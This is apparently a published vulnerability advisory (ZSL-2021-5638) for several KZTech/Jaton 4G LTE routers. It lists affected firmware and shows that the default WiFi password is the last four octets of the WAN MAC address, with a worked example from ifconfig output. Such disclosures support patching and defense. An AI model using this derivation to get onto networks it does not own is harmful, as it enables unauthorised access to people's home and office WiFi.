KZTech T3500V 4G LTE CPE 2.0.1 - Weak Default WiFi Password Algorithm









# Exploit Title: KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Weak Default WiFi Password Algorithm
# Date: 03.02.2021
# Exploit Author: LiquidWorm
# Vendor Homepage:

Vendor: KZ Broadband Technologies, Ltd. | Jaton Technology, Ltd.
Product web page: | |

Affected version:  Model | Firmware
                 JT3500V | 2.0.1B1064
                 JT3300V | 2.0.1B1047
                 AM6200M | 2.0.0B3210
                 AM6000N | 2.0.0B3042
                 AM5000W | 2.0.0B3037
                 AM4200M | 2.0.0B2996
                 AM4100V | 2.0.0B2988
                AM3500MW | 2.0.0B1092
                 AM3410V | 2.0.0B1085
                 AM3300V | 2.0.0B1060
                 AM3100E | 2.0.0B981
                 AM3100V | 2.0.0B946
                 AM3000M | 2.0.0B21
                 KZ7621U | 2.0.0B14
                 KZ3220M | 2.0.0B04
                 KZ3120R | 2.0.0B01

Summary: JT3500V is a most advanced LTE-A Pro CAT12 indoor Wi-Fi
& VoIP CPE product specially designed to enable quick and easy
LTE fixed data service deployment for residential and SOHO customers.
It provides high speed LAN, Wi-Fi and VoIP integrated services
to end users who need both bandwidth and multi-media data service
in residential homes or enterprises. The device has 2 Gigabit LAN
ports, 1 RJ11 analog phone port, high performance 4x4 MIMO and
CA capabilities, 802.11b/g/n/ac dual band Wi-Fi, advanced routing
and firewall software for security. It provides an effective
all-in-one solution to SOHO or residential customers. It can
deliver up to 1Gbps max data throughput which can be very
competitive to wired broadband access service.

Desc: The device generates its SSID and password based on the
WAN MAC address.

Tested on: GoAhead-Webs/2.5.0 PeerSec-MatrixSSL/3.1.3-OPEN
           Linux 2.6.36+ (mips)
           Mediatek APSoC SDK v4.3.1.0

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2021-5638
Advisory URL:



Example defaults:

# ifconfig |grep HWaddr
br0       Link encap:Ethernet  HWaddr 6C:AD:EF:16:7C:5D
br0:9     Link encap:Ethernet  HWaddr 6C:AD:EF:16:7C:5D
eth2      Link encap:Ethernet  HWaddr 6C:AD:EF:16:7C:5D
eth2.1    Link encap:Ethernet  HWaddr 6C:AD:EF:16:7C:5D
eth2.100  Link encap:Ethernet  HWaddr 6C:AD:EF:16:7C:5D
eth2.1000 Link encap:Ethernet  HWaddr 6C:AD:EF:16:7C:5D
eth2.2    Link encap:Ethernet  HWaddr 6C:AD:EF:FF:00:01
ra0       Link encap:Ethernet  HWaddr 6C:AD:EF:5D:7C:5C
rai0      Link encap:Ethernet  HWaddr 6C:AD:EF:5E:7C:5C


WiFi password = EF167C5D